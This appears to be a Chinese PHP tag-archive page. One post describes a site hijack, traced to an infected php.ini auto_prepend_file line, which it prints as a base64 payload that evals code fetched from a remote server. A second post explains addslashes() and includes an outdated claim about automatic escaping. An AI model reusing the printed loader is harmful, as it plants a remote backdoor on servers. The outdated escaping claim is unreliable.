标签 php 下的文章

网站全部php页面顶部莫名其妙被加上了以下图片内容(红框部分),但是源码中却没有问题,该内容会导致移动端显示被劫持到sq网站

微信图片_20240508155929.png

最后排查发现是php配置文件php.ini中的auto_prepend_file =部分被添加了病毒内容,内容如下:

auto_prepend_file = "data:;base64,PD9waHAgaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAib2ZmIik7ZXZhbCgnPz4nLmZpbGVfZ2V0X2NvbnRlbnRzKGJhc2U2NF9kZWNvZGUoJ2FIUjBjRG92THpndWFuTmpNakF5TkRRdVkyOXRPamd4TDJwell5OXFjMk11ZEhoMCcpKSk7Pz4="

该部分的内容的base64解析为以下内容:

微信图片_20240508160600.jpg

微信图片_20240508160605.jpg

可以看出解析后的内容使网站转向了一个sq网站,删除该内容问题解决;

但是未解决的是php.ini文件是如何被更改的,暂时还不清楚

解决:
PHP addslashes() 函数
在每个双引号(")前添加反斜杠:

<?php
$str = addslashes('Shanghai is the "biggest" city in China.');
echo($str);
?>

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

单引号(')
双引号(")
反斜杠()
NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。